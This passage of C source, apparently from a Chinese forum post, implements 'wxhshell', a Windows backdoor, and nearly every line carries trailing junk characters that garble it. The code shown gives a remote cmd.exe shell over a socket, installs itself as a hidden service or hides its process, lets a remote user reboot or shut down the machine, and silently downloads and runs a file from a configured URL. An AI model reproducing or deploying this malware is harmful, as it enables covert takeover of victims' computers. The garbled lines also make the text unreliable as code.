  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v@sIHb  
  } |o"?gB}Dh  
  else { h#I>M`|  
Xxj- 6i  
    switch(cmd[0]) { ,O5NLg-  
  'd0~!w  
  // 帮助 + /G2fhE  
  case '?': { m[osg< CR_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 299H$$WS,Z  
    break; @3i\%R)n;  
  } L<c4kw  
  // 安装 te`$%NRl  
  case 'i': { b#c:u2  
    if(Install()) 1dY}\Sp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); krxo"WgD  
    else sfH_5 #w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W.jGGt\<\  
    break; wVXS%4|v  
    } &A/]pi-\  
  // 卸载 Rr$-tYy6  
  case 'r': { ,oe <  
    if(Uninstall()) t^-d/yKt0w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nUr5Qn?  
    else =[ 46`-_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )CYGQMK  
    break; X56q-|  
    } OdbEq?3S/?  
  // 显示 wxhshell 所在路径 h8j.(  
  case 'p': { CT@ jZtg0  
    char svExeFile[MAX_PATH]; iozt&~o  
    strcpy(svExeFile,"\n\r"); >{ ]%F*p4  
      strcat(svExeFile,ExeFile); 234p9A@  
        send(wsh,svExeFile,strlen(svExeFile),0);  N];NAMp  
    break; Z#jZRNU%ox  
    } &AMl:@p9  
  // 重启 ]EbM9Fo-U  
  case 'b': { f5"k55}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f)rq%N &  
    if(Boot(REBOOT)) Ty\R=y}}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n80?N}  
    else { @IKYh{j4  
    closesocket(wsh); R{4^t97wH{  
    ExitThread(0); 9=M$AB  
    } g/_5unI}u  
    break; ^e5=hH-%  
    } _ye |Y  
  // 关机 h&iC;yj=  
  case 'd': { TqQB@-!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /<k/7TF`  
    if(Boot(SHUTDOWN)) 539>WyG5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Paq4  
    else { -IudgO]  
    closesocket(wsh); G>=*yqo  
    ExitThread(0); rKc9b<Ir  
    } sdrfsrNvB-  
    break; {?0lBfB"  
    } >uB?rGcM  
  // 获取shell 8`{:MkXP  
  case 's': { ,ng Cv;s  
    CmdShell(wsh); XJB)rP  
    closesocket(wsh); {WS;dX4  
    ExitThread(0); jd"@t*ZV  
    break; L{\8!51L  
  } T<>,lQs(a  
  // 退出 *a^(vo   
  case 'x': { =%O6:YM   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'oVx#w^mf  
    CloseIt(wsh); 3M`M  
    break; ^ +\dz  
    } H41?/U,{  
  // 离开 3\,4 ]l|  
  case 'q': { LOYk9m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gVuFHHeUz  
    closesocket(wsh); QIEJ6`  
    WSACleanup(); =XQ%t @z0  
    exit(1); ?j.,Nw4FC  
    break; ATyEf5Id_  
        } IPpN@  
  } >R_&Ouh:  
  } 1I6px$^E\  
TX/Xt7#R:  
  // 提示信息 Jpq~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ({_{\9O,3  
} o-HT1Hc!  
  } re<{ >  
hfTY.  
  return; Ax@$+/Z!  
} 3?yg\  
C) s5D  
// shell模块句柄 D_7,m%Z:  
int CmdShell(SOCKET sock) "k@/ 3  
{ X?',n 1  
STARTUPINFO si; :cECRm*  
ZeroMemory(&si,sizeof(si)); w9imKVry  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xo&_bMO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rlLMT6r.8  
PROCESS_INFORMATION ProcessInfo; B3I`40#  
char cmdline[]="cmd"; &z3o7rif$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !.gIHY  
  return 0; aXYY:;  
} G` A4|+W"  
RqrdAkg  
// 自身启动模式 AT3Mlz~7#  
int StartFromService(void) }0z)5c  
{ cI*;k.KU  
typedef struct 4$<JHo @.  
{ t*u:hex  
  DWORD ExitStatus; SnfYT)Ph  
  DWORD PebBaseAddress; o.!Dq7 R  
  DWORD AffinityMask; AkV#J, 3LC  
  DWORD BasePriority; tWRC$  
  ULONG UniqueProcessId; r19 pZAc  
  ULONG InheritedFromUniqueProcessId; t~XN}gMxw  
}   PROCESS_BASIC_INFORMATION; `^&OF u ee  
CdQ!GS<'y  
PROCNTQSIP NtQueryInformationProcess; cwg"c4V  
;_(4Q*Yx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?tbrbkx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5j(k:a+!H  
Xv^qVn4  
  HANDLE             hProcess; &8lZNv8;(p  
  PROCESS_BASIC_INFORMATION pbi; y)@wjH{6  
":ue-=&M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l f, 5w  
  if(NULL == hInst ) return 0; 02^rV*re  
0H:X3y+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %ET+iIhK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z T%5T}i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2+XA X:YD  
h_'*XWd@  
  if (!NtQueryInformationProcess) return 0; 2^7`mES  
y9ZvV0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GbI/4<)l}  
  if(!hProcess) return 0; z24q3 3O  
CU0YIL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _[BP 0\dPW  
\FaP|28h  
  CloseHandle(hProcess); L/K(dkx  
wCBplaojJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !N^@4*  
if(hProcess==NULL) return 0; ;uGv:$([g  
P%n>Tg80M  
HMODULE hMod; "AqB$^S9t  
char procName[255]; 2 %]X+`+O  
unsigned long cbNeeded; HPVEnVn  
QJ;2ZN,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X?Q4}Y  
%BODkc Zh  
  CloseHandle(hProcess); dE3) | %  
{!`6zBsP  
if(strstr(procName,"services")) return 1; // 以服务启动 er\|i. Y  
%C]>9."  
  return 0; // 注册表启动 |w=zOC;v  
} 3so %gvY.'  
%yC,^  
// 主模块 /$m;y[[  
int StartWxhshell(LPSTR lpCmdLine) DmcZta8n]  
{ /bmN\I  
  SOCKET wsl; ar,7S&s H  
BOOL val=TRUE; k5)om;.w  
  int port=0; q^nVN#  
  struct sockaddr_in door; :(%5:1W  
^.y\(=  
  if(wscfg.ws_autoins) Install(); wL[ M:  
mE[y SrV  
port=atoi(lpCmdLine); jEwIn1  
;*J  
if(port<=0) port=wscfg.ws_port; .+qpk*V\  
v@pky0  
  WSADATA data; Bw.i}3UT6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CC`JZ.SO  
$[|mGae  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "N#Y gSr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dr"1s-D4IQ  
  door.sin_family = AF_INET; /wv0i3_e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UF|p';oom  
  door.sin_port = htons(port); 1~gCtBRM  
EM_d8o)`B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TA\vZGJ('  
closesocket(wsl); #9s,# }  
return 1; TqQ[_RKg2  
} g)B]FH1  
4ppz,L,4  
  if(listen(wsl,2) == INVALID_SOCKET) { @VI@fN  
closesocket(wsl); iow"n$/  
return 1; n{jGOfc  
} n+p }\msH  
  Wxhshell(wsl); ,: ^u-b|  
  WSACleanup(); }0 ?3:A  
sos5Y}  
return 0; u@444Vzg  
+,l-Nz  
} UZ";a453r  
(At$3b6  
// 以NT服务方式启动 tX[WH\(xI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b MBLXk  
{ R!1p^~/  
DWORD   status = 0; _dU\JD  
  DWORD   specificError = 0xfffffff; w(F%^o\  
)gi9f1n`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zeRyL3fnmb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8EY:t zw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /@5YW"1  
  serviceStatus.dwWin32ExitCode     = 0; kcEeFG;DQ  
  serviceStatus.dwServiceSpecificExitCode = 0; 1x^GWtRp  
  serviceStatus.dwCheckPoint       = 0; [hs ds\  
  serviceStatus.dwWaitHint       = 0; V )4J`xg^  
=u;MCQ[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x^CS"v7  
  if (hServiceStatusHandle==0) return; 9 $X-  
8Y?;x}  
status = GetLastError(); n!(F, b  
  if (status!=NO_ERROR) t<qiGDJ<d  
{ >3bCTE   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w =KPT''!  
    serviceStatus.dwCheckPoint       = 0; QW"! (`K  
    serviceStatus.dwWaitHint       = 0; 4+ig' |o  
    serviceStatus.dwWin32ExitCode     = status; 11lsf/IP  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ss`LLq0LO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0IpmRH/  
    return; NVs@S-rpX  
  } SAz   
hOeRd#AQK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1eKT^bgM  
  serviceStatus.dwCheckPoint       = 0; D,6:EV"sa  
  serviceStatus.dwWaitHint       = 0; E_`=7 i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); > P)w?:k  
} ?4B`9<j8%  
ElXFeJ%[G  
// 处理NT服务事件,比如:启动、停止 DI%saw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YS ][n_  
{ 7 d vnupLh  
switch(fdwControl) Y ay?=Y{  
{ +v\oOBB)  
case SERVICE_CONTROL_STOP: ;PH~<T  
  serviceStatus.dwWin32ExitCode = 0; 0aAoV0fMDz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v2?ZQeHr_(  
  serviceStatus.dwCheckPoint   = 0; DrQ`]]jj7  
  serviceStatus.dwWaitHint     = 0; `2snz1>!j  
  { +qoRP2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P%zK;#8V  
  } $u.z*b_yy  
  return; % `3jL7|  
case SERVICE_CONTROL_PAUSE: ]?*wbxU0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 36NpfTW  
  break; ZW}_DT0  
case SERVICE_CONTROL_CONTINUE: z@Y;r=v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^s=8!=A(  
  break; g){<y~Mk  
case SERVICE_CONTROL_INTERROGATE: &o*A {  
  break; 6 r"<jh#  
}; TNth   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '%D7C=;^  
} G?ZXWu.  
TN.rrop`#g  
// 标准应用程序主函数 ]3gSQ7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7"mc+QOp  
{ :0ep( <|;  
<m m[S  
// 获取操作系统版本 TO_e^A#  
OsIsNt=GetOsVer(); liZxBs :%i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VnzZTG s  
25T18&R  
  // 从命令行安装 1,~D4lD|  
  if(strpbrk(lpCmdLine,"iI")) Install(); hc1N ~$3!G  
+%&yJ4-  
  // 下载执行文件 74u&%Rj  
if(wscfg.ws_downexe) { nEfK53i_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rUl+  
  WinExec(wscfg.ws_filenam,SW_HIDE); y(&Ac[foS}  
} \lY_~*J  
ebq4g387X  
if(!OsIsNt) { :U\tv[  
// 如果时win9x,隐藏进程并且设置为注册表启动 !W\+#ez  
HideProc(); u y+pP!<  
StartWxhshell(lpCmdLine); ~dSr5LUD  
} : +u]S2u{  
else j+!v}*I![  
  if(StartFromService()) ibw;}^m(  
  // 以服务方式启动 i?/qY&~  
  StartServiceCtrlDispatcher(DispatchTable); [RL9>n8f  
else 5s XXM  
  // 普通方式启动 edD)TpmE,  
  StartWxhshell(lpCmdLine); .VqhV  
3 {V>S,O3]  
return 0; QnDg 6m)+  
}
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只看该作者 1 发表于: 2006-10-10
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